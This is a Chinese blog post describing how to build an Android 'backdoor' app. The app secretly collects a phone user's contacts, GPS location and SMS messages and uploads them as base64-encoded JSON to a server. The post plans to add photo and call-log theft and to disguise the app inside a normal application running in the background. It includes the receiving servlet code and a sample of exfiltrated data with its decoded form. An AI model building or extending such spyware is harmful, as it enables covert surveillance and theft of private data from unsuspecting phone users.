写Android后门工具

设计:android系统设备安装该应用后可取得用户手机上用户系统及设备信息。

1.取用户通讯录上传至服务器;

2.取设备pgs定位信息上传至服务器;

3.取用户短信记录上传至服务器;

后可陆续加上取相册,取通话记录。

实现:

通过android应用,取用户通讯录信息,设备定位信息,短信记录……封装成json格式(使用的fastjson),base64编码(android2.1没有Base64工具类,所以我从android源码中复制了这个类放到项目中),通过http请求发送至服务器。

1.写android代码。创建一个android app,添加一个button,一个OnclickListener响应按钮事件,按钮被点击后分别调用取通讯录/取短信/取定位数据的方法,最后调用发送数据的方法。

2.写服务端代码。一个servlet 取客户数据。

需要改进问题:

1/网上代码/书上代码发现在取gps信息时location总是null,没取到定位信息。

2/应用改为服务式,后台运行或者伪装在正常应用下。

-----------------------------------------------------

代码下载

点击打开链接

------------------------------------------------------

贴servlet代码

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		String dataType = request.getParameter("dataType");
		String data = request.getParameter("data");
		System.out.println("###############Recive datas###############");
		if (null != data) {
			data = data.replaceAll(" ", "+");
			System.out.println(data);
			data = new String(Base64.decode(data));
		}
		System.out.println("DataType:" + dataType);
		System.out.println("Data:" + data);
	}


-------------------------------------------------------

贴后台取到的数据:

eyJjb250YWN0IjpbeyJuYW1lIjoi5bygIOS4iSIsInBob25lTnVtIjoiODg4LTg4OC04OCJ9LHsi
bmFtZSI6Imxpc2kgZGlhb3NpIiwicGhvbmVOdW0iOiI2NjctNzY2LTc3NiJ9XSwibG9jYXRpb24i
OnsieCI6MCwieSI6MH0sInNtcyI6W3siZGF0ZVN0ciI6IjIwMTMtMDUtMTkgMTA6MTY6MzMiLCJw
ZXJzb24iOiIwIiwic21zYm9keSI6InNzc3Nzc3NzcyIsInR5cGUiOiLojYnnqL8ifSx7ImFkZHJl
c3MiOiIxMDA4NiIsImRhdGVTdHIiOiIyMDEzLTA1LTE5IDEwOjE2OjAyIiwicGVyc29uIjoiMCIs
InNtc2JvZHkiOiIxMTExIiwidHlwZSI6IuWPkemAgSJ9LHsiZGF0ZVN0ciI6IjIwMTMtMDUtMTkg
MTA6MTY6MzMiLCJwZXJzb24iOiIwIiwic21zYm9keSI6InNzc3Nzc3NzcyIsInR5cGUiOiLojYnn
qL8ifSx7ImFkZHJlc3MiOiIxMDA4NiIsImRhdGVTdHIiOiIyMDEzLTA1LTE5IDEwOjE2OjAyIiwi
cGVyc29uIjoiMCIsInNtc2JvZHkiOiIxMTExIiwidHlwZSI6IuWPkemAgSJ9XX0=


DataType:backdoor
Data:{"contact":[{"name":"张 三","phoneNum":"888-888-88"},{"name":"lisi diaosi","phoneNum":"667-766-776"}],"location":{"x":0,"y":0},"sms":[{"dateStr":"2013-05-19 10:16:33","person":"0","smsbody":"sssssssss","type":"草稿"},{"address":"10086","dateStr":"2013-05-19 10:16:02","person":"0","smsbody":"1111","type":"发送"},{"dateStr":"2013-05-19 10:16:33","person":"0","smsbody":"sssssssss","type":"草稿"},{"address":"10086","dateStr":"2013-05-19 10:16:02","person":"0","smsbody":"1111","type":"发送"}]}


上面是base64编码过的数据,后面是解码后的原始数据。servlet取两个属性数据,datatype 和 data, 后面可以通过DataType来反向json转java对象。这样这个servlet可以应对所有android发过来的各类数据了。

你可能感兴趣的:(Java笔记)